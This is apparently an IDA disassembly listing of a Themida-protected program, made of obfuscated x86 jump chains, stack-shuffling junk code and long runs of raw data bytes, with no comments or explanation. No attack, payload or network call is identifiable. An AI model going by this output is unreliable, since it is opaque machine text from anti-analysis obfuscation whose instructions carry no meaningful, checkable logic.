		dd 0E95B8AC5h, 18EBh, 8704C083h, 0E95C2404h, 6FC5h, 0FFBAABE9h
		dd 0AEE95EFFh, 5E000033h, 0EE81DEF7h, 969FFC18h, 15EF589h
		dd 0C2835DEAh, 24148704h, 0BE56555Ch, 45B2405h,	0A9E9DEF7h
		db 22h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_5558E7:				; CODE XREF: Themida_:0055B9C0j
		pop	cx
		push	ecx
		push	ebx
		jmp	loc_557EB9
; ---------------------------------------------------------------------------

loc_5558F0:				; CODE XREF: Themida_:00557CF0j
		push	esi
		push	1E5E6B86h
		jmp	loc_556E7F
; ---------------------------------------------------------------------------
		db 81h
		dd 826859EBh, 81F3297Ch, 826859C3h, 0DA015E7Ch,	2414335Bh
		dd 33241431h, 248B2414h, 148B6624h, 5D696824h, 14890000h
		dd 17D6E924h, 5A660000h, 61F9E957h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_555932:				; CODE XREF: Themida_:00558BAEj
		pop	esi
		add	ebx, eax
		add	ebx, 46A359F4h
		pop	eax
		xchg	ebx, [esp]
		mov	esp, [esp]
		jmp	loc_553245
; ---------------------------------------------------------------------------
		db 33h
		dd 248B2414h, 0CFF6624h, 11E99C24h, 68FFFFBAh, 3672h, 50240C89h
		dd 496ED468h, 0D02D5859h, 8959496Eh, 0C88958C1h, 58C20159h
		dd 4C281h, 14870000h, 734BE924h, 0C890000h, 5F56824h, 4890000h
		dd 0E9D48824h, 0FFFFD4CAh, 0C001C280h, 0EA8004E2h, 7EA803Eh
		dd 0EC83C2FEh, 0EB28E904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5559AA:				; CODE XREF: Themida_:005562A3j
		add	esi, 4
		add	esi, 4
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		pop	esp
		pop	dword ptr [esp]
		push	419Ch
		mov	[esp], eax
		not	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		xor	[esp], eax
		jmp	loc_55273E
; ---------------------------------------------------------------------------

loc_5559D9:				; CODE XREF: Themida_:00557132j
		mov	[esp], ecx
		sub	esp, 4
		jmp	loc_55B926
; ---------------------------------------------------------------------------
		db 5Fh
		dd 8B243487h, 3C892424h, 4EC8124h, 89000000h, 1BA2414h
		dd 52000000h, 0FFF320E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_555A05:				; CODE XREF: Themida_:0055A3D2j
		mov	[esp], eax
		jmp	loc_55B5C6
; ---------------------------------------------------------------------------
		db 0FFh, 77h, 1Ch
		dd 411589Dh, 4DE99C24h,	68FFFFB9h, 0
		dd 8A240428h, 0C4832404h, 350E904h, 0EC830000h,	243C8904h
		dd 11472BBFh, 5FFE0117h, 4CEC685Fh, 34890000h, 23136824h
		dd 34FF40A3h, 3803E924h, 0BF570000h, 4,	7622E9h
		db 0
; ---------------------------------------------------------------------------

loc_555A5D:				; CODE XREF: Themida_:00553A68j
		push	ebp
		jmp	loc_552305
; ---------------------------------------------------------------------------
		db 0B2h
		dd 2EAC0E5h, 8055F280h,	0EA8095E2h, 5AD528EEh, 0E0E9EE88h
		dd 6800005Dh, 1192h, 0E9242C89h, 518Fh,	8904EC83h, 69E92434h
		dd 21FFFFCCh, 48B1C47h,	4C48124h, 0E9000000h, 0FFFFD98Bh
; ---------------------------------------------------------------------------

loc_555AA4:				; CODE XREF: Themida_:0055C931j
		xor	esi, eax
		jmp	loc_552EDF
; ---------------------------------------------------------------------------
		db 81h
		dd 0A830B6C2h, 96F28164h, 1D7BB84h, 0DFAFE9D0h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_555ABE:				; CODE XREF: Themida_:0055C240j
		add	edx, esi
		pop	esi
		sub	edx, 4
		xor	edx, [esp]
		jmp	loc_559AAC
; ---------------------------------------------------------------------------
		dd 4C7815Bh, 0E9000000h, 0B7Ah,	4240481h, 5A000000h, 4BE56h
		dd 0F2010000h, 4C2815Eh, 33000000h, 0D4E92414h
		db 76h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_555AF7:				; CODE XREF: Themida_:0055B5E7j
		push	0DC9h
		mov	[esp], ebp
		push	esp
		pop	ebp
		push	ebx
		mov	ebx, 4
		jmp	loc_55925D
; ---------------------------------------------------------------------------

loc_555B0C:				; CODE XREF: Themida_:0055518Bj
		push	ebx
		mov	ebx, 400516E2h
		jmp	loc_556BBE
; ---------------------------------------------------------------------------
		db 81h
		dd 4ECh, 243C8900h, 0FFD3CEE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_555B25:				; CODE XREF: Themida_:00555CCEj
		pop	edi
		jmp	loc_55479D
; ---------------------------------------------------------------------------
		db 89h
		dd 0E389241Ch, 5A8CB850h, 882D6486h, 164865Ah, 0A0EE9C3h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_555B42:				; CODE XREF: Themida_:00557BB2j
		pop	eax
		push	1F64h
		mov	[esp], ebx
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 1
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_557856
; ---------------------------------------------------------------------------
		dd 0C681DE01h, 6151375Fh, 3ABAC681h, 685B30B0h,	1327h
		dd 0BA241489h, 4, 565AD629h, 42474FFh, 24048F5Eh, 2404895Ch
		dd 0FFB7D3E9h, 243489FFh, 0C681E689h, 4, 698568h, 241C8900h
		dd 34556856h, 348B421Eh, 4C48124h, 4E000000h, 367CE94Eh
		dd 0C4830000h, 4C48104h, 50000000h, 0FFFD8AE9h,	0E9CB00FFh
		dd 726h, 5D5EF289h, 815AD701h, 4C7h, 74FF5700h,	3C8B0424h
		dd 4C48124h, 8F000000h,	248B2404h, 2404FF24h, 0B76AE99Ch
		dd 0F101FFFFh, 2C1835Eh, 8904EC83h, 83E9240Ch, 83000048h
		dd 3C8704EFh, 24895C24h, 24048124h, 4, 81240C8Bh, 4C4h
		dd 4EC8100h, 89000000h,	5651241Ch, 15FABD55h, 0ED8107EDh
		dd 9CD3C4FAh, 0C3E9EE89h, 8300004Fh, 0E82802C4h, 56240C8Bh
		dd 0D7E95E54h, 54FFFFDAh, 0FFE2FDE9h, 5DE955FFh, 8900003Eh
		dd 3DE92434h
		db 39h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_555C6B:				; CODE XREF: Themida_:00556AC4j
		mov	[esp], ebx
		push	eax
		mov	eax, 5B3E15A4h
		jmp	loc_55CD47
; ---------------------------------------------------------------------------
aIthgj		db '┴БhGJ',0
		align 10h
		dd 0B8240489h, 4, 0FFD886E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_555C8D:				; CODE XREF: Themida_:005585C0j
		mov	[esp], edx
		push	ebp
		jmp	loc_55C196
; ---------------------------------------------------------------------------

loc_555C96:				; CODE XREF: Themida_:0055C8BDj
		mov	edi, 4
		add	ebp, edi
		pop	edi
		jmp	loc_557739
; ---------------------------------------------------------------------------
		db 81h
		dd 5C082444h, 5912855Ch, 4247429h, 4244481h, 6B6F184Ah
		dd 0FFDFC6E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_555CBD:				; CODE XREF: Themida_:005565ABj
		push	esp
		pop	edi
		push	edx
		push	47C50092h
		pop	edx
		push	edi
		mov	edi, 40334678h
		xor	edx, edi
		jmp	loc_555B25
; ---------------------------------------------------------------------------
aUsf		db 'UИf$',0
		dd 24148B00h, 4C481h, 68510000h, 13FAh,	68242C89h, 67640A6Eh
		dd 38E6E95Dh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_555CF6:				; CODE XREF: Themida_:0055418Fj
		push	edi
		mov	edi, 4
		add	[esp+4], edi
		push	dword ptr [esp]
		jmp	loc_55746D
; ---------------------------------------------------------------------------
a8Hsbh		db '╦!8чhИbh',0
		align 2
		dw 0ED81h
		dd 0B1FB2194h, 0F75DEE31h, 0C2B3E9DEh, 4401FFFFh, 34FF0424h
		dd 89575824h, 4C781E7h,	81000000h, 4C7h, 243C8700h, 8124248Bh
		dd 47AB2404h, 40133A9h,	242C8124h, 33A947ABh, 4EC81h, 14890000h
		dd 39F2BA24h, 54296337h, 34FF0424h, 89515A24h, 4C181E1h
		dd 81000000h, 4C1h, 240C8700h, 0B5EAE95Ch, 0B90CFFFFh
		dd 0C230D604h, 8324048Bh, 0D02804C4h, 8324148Bh, 0EB8004C4h
		dd 0CB83E952h, 2C8BFFFFh, 495BE924h, 0C870000h,	54565C24h
		dd 4C6815Eh, 83000000h,	0E95604EEh, 7651h, 0E95BF988h
		dd 0DF4h
; ---------------------------------------------------------------------------

loc_555DC0:				; CODE XREF: Themida_:00554D52j
		add	esp, 4
		pop	dword ptr [esp]
		jmp	loc_55C915
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 8951240Ch, 0B95156E1h, 12F753C7h, 0BFE98141h, 4118063Fh
		dd 0F181E9D1h, 7D788A01h, 0C8BCE89h, 4C48324h, 348BF101h
		dd 4C48324h, 4E981h, 12E90000h,	68000058h, 28725AC6h, 2AFFE959h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_555E12:				; CODE XREF: Themida_:00552918j
		mov	esp, [esp]
		mov	[esp], ecx
		mov	ch, al
		mov	bl, ch
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_55138C
; ---------------------------------------------------------------------------
		dw 0C15Ah
		dd 0E5D103E5h, 5D7BC581h, 712D008Dh, 0E9351F12h, 0FFFFF593h
		dd 4C781h, 0EF830000h, 2360E904h, 2C330000h, 242C3124h
		dd 2137E9h, 8BC83100h, 7E9240Ch, 5800002Ah, 21B6E95Ah
		dd 0F660000h, 8951C8BEh, 643F68E1h, 0DEE90000h,	66000075h
		dd 0E924148Bh, 0FFFFFDC3h, 9C241CF7h, 0FFB4DBE9h, 241433FFh
		dd 2414895Ch, 4C9EE9h, 24048900h, 81E28952h, 4C2h, 4EA8100h
		dd 87000000h, 895C2414h, 0B1512414h, 0EAB050BAh, 3ACDE9h
		dd 92BA5200h, 550BF963h, 0DF5897BDh, 39CD8125h,	0E92BE617h
		dd 3005h, 62E0C181h, 91E90437h,	81000051h, 0ED46E6EFh
		dd 0C35B5A4Dh, 0FFB47BE9h, 0EB015DFFh, 4BF575Dh, 1000000h
		dd 1C335FFBh, 241C3124h, 0E9241C33h, 47C9h, 3D7168h, 24248900h
		dd 4EC81h, 0C890000h, 13CE924h,	5F2D0000h, 0E9B80A76h
		dd 0C49h
; ---------------------------------------------------------------------------

loc_555F28:				; CODE XREF: Themida_:0055136Fj
		mov	[esp], cx
		mov	cl, 1Bh
		sub	al, cl
		mov	cx, [esp]
		add	esp, 2
		add	al, bl
		push	cx
		mov	cl, 1Bh
		sub	esp, 4
		jmp	loc_55AFB4
; ---------------------------------------------------------------------------

loc_555F48:				; CODE XREF: Themida_:005523CAj
		add	edx, edi
		jmp	loc_55896D
; ---------------------------------------------------------------------------

loc_555F4F:				; CODE XREF: Themida_:0055BE0Aj
		sub	esi, ecx
		xchg	esi, ecx
		pop	esi
		not	ecx
		dec	ecx
		push	edx
		push	esi
		push	edi
		mov	edi, 2A851F73h
		sub	edi, 45EF6645h
		add	edi, 450F544Ah
		mov	esi, edi
		pop	edi
		push	esi
		not	dword ptr [esp]
		pop	esi
		push	ebx
		jmp	loc_553CEA
; ---------------------------------------------------------------------------
		db 0FFh, 77h, 1Ch
		dd 0D259669Dh, 0E99C2414h, 0FFFFB3E0h
; ---------------------------------------------------------------------------

loc_555F88:				; CODE XREF: Themida_:005578B1j
		mov	esp, [esp]
		mov	[esp], ebx
		push	1Ch
		mov	ebx, [esp]
		add	esp, 4
		add	ebx, 1D265F2Ah
		sub	ebx, 736D3FA1h
		add	ebx, 488B6F8Bh
		add	ebx, edi
		sub	ebx, 488B6F8Bh
		push	ecx
		mov	ecx, 736D3FA1h
		add	ebx, ecx
		pop	ecx
		sub	ebx, 1D265F2Ah
		mov	ecx, [ebx]
		mov	ebx, [esp]
		add	esp, 4
		push	esi
		jmp	loc_5526C3
; ---------------------------------------------------------------------------
		db 89h
		dd 34FF243Ch, 2434FF24h, 5724148Bh, 0E950E789h,	0FFFFD211h
		dd 0C3E68058h, 0FFF760E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_555FF1:				; CODE XREF: Themida_:005576B3j
		add	al, 0B8h
		mov	cx, [esp]
		jmp	loc_55A1C9
; ---------------------------------------------------------------------------
		dd 0CC3EB81h, 53585215h, 0E95007B3h, 34EAh, 0FF241489h
		dd 8B042474h, 0C4832414h, 24048F04h, 0E924248Bh, 73FCh
; ---------------------------------------------------------------------------

loc_556024:				; CODE XREF: Themida_:00558F49j
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_553B1E
; ---------------------------------------------------------------------------

loc_556032:				; CODE XREF: Themida_:0055940Bj
		add	edx, ecx
		sub	edx, 20662A73h
		push	esi
		mov	esi, 50722C9Ch
		or	esi, 7D4360DCh
		jmp	loc_55C2AE
; ---------------------------------------------------------------------------
		db 5Dh
		dd 835EF001h, 0C8904ECh, 0BEF1E924h, 0EC83FFFFh, 243C8904h
		dd 62BE9h, 0C8B6600h, 14BC6824h, 1C890000h, 68E38924h
		dd 6C54h, 73EBE9h, 0CFB05000h, 0E0C00234h, 0C61BE907h
		dd 4BAFFFFh, 57000000h,	4A0860BFh, 0B9F7817Dh, 81733A28h
		dd 0CF5D5EF7h, 5FFE0141h, 0EE81D629h, 4FBF7D87h, 2434335Ah
		dd 33243431h, 248B2434h, 24148924h, 21F868h, 24048900h
		dd 0FF2434FFh, 835A2434h, 0E95004C4h, 0C09h
; ---------------------------------------------------------------------------

loc_5560D4:				; CODE XREF: Themida_:00553D19j
		mov	ecx, esp
		add	ecx, 4
		push	esi
		push	1C524515h
		pop	esi
		jmp	loc_551983
; ---------------------------------------------------------------------------
		dd 4C48359h, 17AEE9h
		db 0
; ---------------------------------------------------------------------------

loc_5560F1:				; CODE XREF: Themida_:00552446j
		xor	edi, 470F3359h
		add	edi, 6C6FCFBBh
		jmp	loc_553473
; ---------------------------------------------------------------------------
		dw 0D301h
		dd 1BDAC381h, 34FF6E5Ah, 0C4835A24h, 0A1B85004h, 0C114997Ah
		dd 0D1E907E0h
		db 0D7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55611F:				; CODE XREF: Themida_:005581D6j
		add	[esp+4], edx
		jmp	loc_55259F
; ---------------------------------------------------------------------------
		dd 0D9F672B1h, 40C0E9h,	0E1895100h, 4C181h, 0BD550000h
		dd 366C56C1h, 0CD81DDF7h, 542A5907h, 0FFB251E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55614D:				; CODE XREF: Themida_:005523DBj
		add	edi, ebx
		pop	ebx
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	eax, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		push	ebx
		mov	ebx, 5C0C6B34h
		sub	eax, 65173CA7h
		jmp	loc_55D03C
; ---------------------------------------------------------------------------
		dw 0E95Ah
		dd 701Fh
; ---------------------------------------------------------------------------

loc_556184:				; CODE XREF: Themida_:005572D4j
		pop	edx
		jmp	loc_558149
; ---------------------------------------------------------------------------

loc_55618A:				; CODE XREF: Themida_:0055236Fj
		or	eax, eax
		jnz	loc_55BCC0
		push	edi
		mov	edi, 17303AD6h
		push	15B5h
		mov	[esp], edx
		mov	edx, 3BC07CB9h
		xor	edx, 288A22EEh
		push	esi
		mov	esi, 4C1B2B7Ch
		or	edx, esi
		mov	esi, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		push	ebp
		mov	ebp, 4
		add	eax, ebp
		pop	ebp
		xchg	eax, [esp]
		pop	esp
		shl	edx, 1
		push	edi
		jmp	loc_55A06A
; ---------------------------------------------------------------------------

loc_5561D3:				; CODE XREF: Themida_:00553924j
		add	esp, 4
		add	ebp, 6FA766C1h
		add	ebp, ecx
		sub	ebp, 6FA766C1h
		pop	ecx
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_55779F
; ---------------------------------------------------------------------------
		db 81h
		dd 5D27F8EAh, 81DA0176h, 5D27F8C2h, 55CEE976h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_556206:				; CODE XREF: Themida_:0055B891j
		pop	esp
		add	ebp, ebx
		push	ebx
		push	eax
		mov	eax, 7A9770B3h
		mov	ebx, eax
		pop	eax
		shr	ebx, 2
		shr	ebx, 1
		xor	ebx, 3A06034h
		neg	ebx
		add	ebx, 6360D93Dh
		add	ebp, ebx
		pop	ebx
		mov	ebx, [esp]
		add	esp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_552352
; ---------------------------------------------------------------------------
		db 0BFh
		dd 1B7E2932h, 0EFC1DFF7h, 79F78102h, 0E98542C2h, 6F95h
		dd 0E9243487h, 3CFAh
; ---------------------------------------------------------------------------

loc_556258:				; CODE XREF: Themida_:0055287Cj
		push	edx
		mov	edx, 7B2C7131h
		xchg	ebp, edx
		not	ebp
		xchg	ebp, edx
		not	edx
		push	ebx
		mov	ebx, 7AE116FFh
		push	esi
		mov	esi, 8EF78BBh
		sub	ebx, esi
		pop	esi
		xor	ebx, 0F422108Bh
		add	edx, 7DB86DABh
		jmp	loc_553D0D
; ---------------------------------------------------------------------------

loc_556286:				; CODE XREF: Themida_:0055D4BEj
		mov	eax, ecx
		pop	ecx
		jmp	loc_555185
; ---------------------------------------------------------------------------

loc_55628E:				; CODE XREF: Themida_:0055C134j
		xor	eax, ecx
		push	7171h
		mov	[esp], eax
		push	eax
		push	dword ptr [esp+4]
		mov	eax, [esp]
		push	esi
		push	esp
		pop	esi
		jmp	loc_5559AA
; ---------------------------------------------------------------------------
		dd 4C48358h, 5206E0C1h,	0C1847BAh, 5AD02128h, 0FFEFC205h
		dd 8BC689D7h, 0C4812404h, 4, 348BF229h,	4C48124h, 87000000h
		dd 0CE92414h
		db 0D1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5562DB:				; CODE XREF: Themida_:00553EB2j
		add	eax, 0FFFFFFFFh
		push	edi
		mov	edi, 42A9379Dh
		and	edi, 119C5C53h
		dec	edi
		shl	edi, 3
		sub	edi, 1E766584h
		push	ebp
		jmp	loc_55B830
; ---------------------------------------------------------------------------
		dw 2859h
		dd 3AEB80CBh, 5937EB80h, 0F380E3D0h, 0D0C38029h, 2C5BD888h
		dd 0C588517Bh, 88E88850h, 67E958C7h
		db 4Ch,	2 dup(0)
; ---------------------------------------------------------------------------

loc_55631F:				; CODE XREF: Themida_:00553829j
		pop	ecx
		pop	esi
		xor	edi, 68D20E5h
		sub	eax, edi
		mov	edi, [esp]
		add	esp, 4
		or	eax, eax
		jnz	loc_5555EE
		push	1
		push	dword ptr [esp]
		mov	edx, [esp]
		sub	esp, 4
		jmp	loc_55B48C
; ---------------------------------------------------------------------------
		db 81h,	0C6h, 0CBh
		dd 0E97BAD3Fh, 14AEh, 0E9242C87h, 1B93h, 288FC380h, 8FEB80CBh
		dd 59A4EB80h, 66C0B60Fh, 5124148Bh, 0E9535954h,	0FFFFB223h
		dd 7931CABDh, 5DE80170h, 0CA2DD801h, 5B707931h,	205h, 24048700h
		dd 0F624248Bh, 0B60F66E1h, 8A6866CCh, 0C896672h, 0E200E924h
		dd 575EFFFFh, 1655B951h, 7BBF29D4h, 3147443Fh, 8CE959CFh
		dd 0F7000061h, 0BBEE81DEh, 162CA7Ch, 50555EF0h,	637E38B8h
		dd 0CFD1E919h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5563D6:				; CODE XREF: Themida_:0055B5C1j
		mov	esi, 721E48A1h
		push	0
		sub	dword ptr [esp], 35AB5170h
		sub	[esp], esi
		add	dword ptr [esp], 35AB5170h
		jmp	loc_55AF21
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 69E92424h, 5FFFFAFh,	1A476B29h, 0E373322Dh, 7F6E2D47h
		dd 93E973A6h
		db 5Fh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_556413:				; CODE XREF: Themida_:0055C7EBj
		mov	[esp], eax
		push	7EC4h
		mov	[esp], ebp
		push	7C504554h
		jmp	loc_55B232
; ---------------------------------------------------------------------------
		dd 50E9FA29h, 0FFFFFECh, 6866C0B6h, 8966706Ch, 29E92404h
		dd 46FFFFAFh, 87EE9h
		db 0
; ---------------------------------------------------------------------------

loc_556445:				; CODE XREF: Themida_:005594E2j
		add	ebx, ebp
		jmp	loc_55C139
; ---------------------------------------------------------------------------
		dd 8904EC83h, 2BF243Ch,	4735D165h, 476FE94Fh, 1C890000h
		dd 8074B324h, 0B92C24C3h, 5366B62Ch, 0F8281CB7h, 241C8B66h
		dd 2802C483h, 5CB151D8h, 0E901E980h, 0FFFFB949h, 4BD555Ah
		dd 29000000h, 4875DE8h,	2C895C24h, 2474FF24h, 2434FF04h
		dd 4C4815Dh, 8F000000h,	0E95C2404h, 0FFFFCC53h,	53A268h
		dd 241C8900h, 40068h, 5F095B00h, 2434FF1Ch, 5B2434FFh
		dd 4C481h, 0A2680000h, 89000038h, 8B54243Ch, 0C483243Ch
		dd 4C78104h, 81000000h,	4C7h, 74FF5700h, 6E90424h, 1000018h
		dd 64E95FFBh, 5D000001h, 4C581h, 0D0E90000h
		db 32h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_556503:				; CODE XREF: Themida_:00551F7Bj
		mov	edi, 2
		sub	ebx, edi
		pop	edi
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		pop	esp
		mov	[esp], dx
		push	ax
		pushf
		jmp	loc_551368
; ---------------------------------------------------------------------------
		db 83h,	0ECh, 4
		dd 5E241C89h, 81241C8Bh, 4C4h, 0E6D14E00h, 6E82EE81h, 0F22938D3h
		dd 0AE26E95Eh, 0F580FFFFh, 0B35350DBh, 0E9DC8881h, 61D0h
		dd 6824048Bh, 6643h, 0E9241489h, 5743h,	64AB951h, 0C8011B70h
		dd 0FFEEA5E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55656D:				; CODE XREF: Themida_:0055A4C4j
		mov	[esp], ebp
		sub	esp, 4
		mov	[esp], esp
		jmp	loc_557C74
; ---------------------------------------------------------------------------

loc_55657B:				; CODE XREF: Themida_:0055B35Fj
		push	dword ptr [esp]
		pop	ebx
		jmp	$+5
		add	esp, 4
		add	esp, 4
		or	edx, eax
		shl	edx, 1
		push	ecx
		push	1
		mov	ecx, [esp]
		add	esp, 4
		push	edx
		mov	edx, 24h
		add	edx, edi
		add	[edx], ecx
		mov	edx, [esp]
		push	edi
		jmp	loc_555CBD
; ---------------------------------------------------------------------------

loc_5565B0:				; CODE XREF: Themida_:0055A0B2j
		push	ecx
		jmp	loc_55CFF8
; ---------------------------------------------------------------------------
		dw 0C381h
		dd 4, 4EB81h, 1C870000h, 8F545C24h, 0EC812404h,	4, 0E9241489h
		dd 2A1Dh, 745468h, 48F5400h, 4BB5324h, 1000000h, 8B04245Ch
		dd 0C483241Ch, 240C8B04h, 8104C483h, 4C1h, 2C18300h, 4EC81h
		dd 0C890000h, 0B5E5E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55660E:				; CODE XREF: Themida_:00559284j
		mov	edi, 49AB3B55h
		or	edi, 53A050A4h
		not	edi
		add	edi, 48CF122Ch
		sub	edi, 0C5C62D35h
		jmp	loc_557FD6
; ---------------------------------------------------------------------------
		dd 1353DCBAh, 0F475E973h, 5453FFFFh, 8B2434FFh,	0EC83241Ch
		dd 9F3E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_556646:				; CODE XREF: Themida_:0055814Dj
		shr	ecx, 7
		push	edx
		mov	edx, esp
		push	ecx
		jmp	loc_55984C
; ---------------------------------------------------------------------------
		dw 3C87h
		dd 0DE95C24h, 53FFFFADh, 0FFCEA0E9h, 0F7CE87FFh, 0E95255D6h
		dd 5148h
; ---------------------------------------------------------------------------

loc_55666C:				; CODE XREF: Themida_:00559758j
		mov	edi, 1A136ECDh
		shl	edi, 1
		shl	edi, 1
		or	edi, 43FA2C2Bh
		jmp	loc_558496
; ---------------------------------------------------------------------------
		dd 10116866h, 9A7E9h
		db 0
; ---------------------------------------------------------------------------

loc_556689:				; CODE XREF: Themida_:00559F03j
		pop	esp
		push	edx
		jmp	loc_5520D2
; ---------------------------------------------------------------------------
aRqsn		db 'RQИ█"',0
		dw 0BB00h
		dd 5976358h, 0E95BDF21h, 0FFFFCCC9h, 81E68956h,	4C6h, 4C68300h
		dd 0E9243487h, 3172h
; ---------------------------------------------------------------------------

loc_5566B8:				; CODE XREF: Themida_:005548E6j
		mov	ch, 37h
		shr	ch, 5
		shl	ch, 1
		jmp	loc_55A4B0
; ---------------------------------------------------------------------------
		dd 665B6659h, 8896B652h, 1BF7E9F3h, 0E9AD0000h,	0FFFFC094h
		dd 8704C283h, 248B2414h, 20524h, 4870000h, 24248B24h, 0E9028864h
		dd 0FFFFAC74h, 254D68h,	24348900h, 4EC81h, 0C890000h, 3947B924h
		dd 0CE890005h, 0FF585659h, 60E92434h
		db 14h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_556717:				; CODE XREF: Themida_:0055B8EDj
		add	esp, 4
		xor	dl, bh
		jmp	loc_5543C9
; ---------------------------------------------------------------------------

loc_556721:				; CODE XREF: Themida_:00552DBCj
		add	al, ch
		jmp	loc_55B8DA
; ---------------------------------------------------------------------------
		dd 555BDA89h, 0C67824BDh, 713E90Ah, 0EAC00000h,	80CAFE02h
		dd 0D388EFEAh, 0FFEDB7E9h, 4E983FFh, 0E8B7E951h, 966FFFFh
		dd 0F7665EF5h, 0EDC166D5h, 0C5816608h, 0C1662651h, 665108EDh
		dd 76BE6656h, 0F189661Ah, 24348B66h, 6602C483h,	3214C981h
		dd 66D1F766h, 5B18E181h, 4E1C166h, 236CE9h
		db 0
; ---------------------------------------------------------------------------

loc_556789:				; CODE XREF: Themida_:0055AC42j
		add	ebp, 6EAD1B83h
		shr	ebp, 8
		jmp	loc_554374
; ---------------------------------------------------------------------------
		db 55h
		dd 0DE2F75BDh, 3ED812Ah, 0E933B350h, 1022h, 167FC381h
		dd 0E3C17C6Eh, 0B8CB8103h, 0F7306F58h, 0EEEB81DBh, 2967B7D4h
		dd 241C8BDEh, 4C481h, 0EE810000h, 4005634Fh, 40A8E9h
		db 0
; ---------------------------------------------------------------------------

loc_5567D5:				; CODE XREF: Themida_:0055573Cj
		sub	ecx, 65BA0186h
		pop	ebx
		sub	ecx, 4
		jmp	loc_55A3CE
; ---------------------------------------------------------------------------
		dd 81E9D149h, 0E7C805F1h, 1216E9F4h, 1FB10000h,	5966C828h
		dd 0D800AF04h, 0EC83AF2Ch, 240C8904h, 80EDB353h, 6CE90AC3h
		dd 58FFFFB5h, 5245D5F7h, 9855CCBAh, 5AD53167h, 5294CD81h
		dd 71E9157Dh, 6600006Bh, 5224048Bh, 0C281E289h,	4, 22A6E955h
		dd 0F1290000h, 0FFBBF8E9h, 243C33FFh, 33243C31h, 0D35C243Ch
		dd 0E99C243Ch, 0FFFFAD80h, 2414895Ch, 0B517E954h, 5A66FFFFh
		dd 18C380h, 5EB652C3h, 0EE80CEFEh, 5AF32845h, 0B1515266h
		dd 94E95348h, 89FFFFDFh, 8CB9240Ch, 0BE3F1214h,	0D0BE2BACh
		dd 0FFAC9AE9h, 24148BFFh, 104C483h, 30E950C3h, 5A00003Dh
		dd 4EC81h, 1C890000h, 4BE5624h,	52000000h, 24048156h, 16BA3516h
		dd 16EA815Ah, 8916BA35h, 0C0AAE9D3h, 1BDFFFFh, 51000000h
		dd 8904EC83h, 0B1682414h, 0E940B11Dh, 5409h
; ---------------------------------------------------------------------------

loc_5568D8:				; CODE XREF: Themida_:0055289Ej
		inc	eax
		shr	eax, 6
		jmp	loc_555437
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 4
aPs6l		db '$PИ6L',0
		db 0
; ---------------------------------------------------------------------------

loc_5568EB:				; CODE XREF: Themida_:005524CEj
		mov	eax, [esp]
		push	ebx
		mov	ebx, esp
		jmp	loc_5599D7
; ---------------------------------------------------------------------------
		dw 0BE56h
		dd 4, 6A08E9h, 241C3300h, 33241C31h, 895C241Ch,	0FF54242Ch
		dd 2C8B2434h, 4C48124h,	81000000h, 4C4h, 0DA3E900h, 53660000h
		dd 0C68042B7h, 0E9FE2828h, 677Bh, 4BA52h, 0E9E90000h
		db 21h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_55693F:				; CODE XREF: Themida_:0055A192j
		push	esi
		jmp	loc_558C5D
; ---------------------------------------------------------------------------
		db 8Bh,	3Ch, 24h
		dd 4C481h, 44010000h, 0E9580424h, 6587h, 9E9008Fh
		db 0AAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55695F:				; CODE XREF: Themida_:00556E33j
		mov	[esp], edi
		push	63DEB27Bh
		pop	edi
		add	eax, edi
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebp
		push	edi
		jmp	loc_559959
; ---------------------------------------------------------------------------

loc_556980:				; CODE XREF: Themida_:00554174j
		push	ebx
		mov	ebx, 56C76C7Ah
		not	ebx
		jmp	loc_554FCD
; ---------------------------------------------------------------------------
		db 51h,	55h, 68h
		dd 7BB5695Dh, 0D2BA525Dh, 19E74EEh, 0E9895AD5h,	0E9CD315Dh
		dd 914h, 48B5450h, 0E0895024h, 405h, 41A0E900h,	0C5810000h
		dd 0FFFFFFFFh, 81D5F74Dh, 4ECh,	2279E900h, 0E9810000h
		dd 19FA4CCDh, 1C2468h, 24148900h, 585153BAh, 536F6847h
		dd 1C890000h, 0D355E924h, 0EBC1FFFFh, 5E3C108h,	7FC4C381h
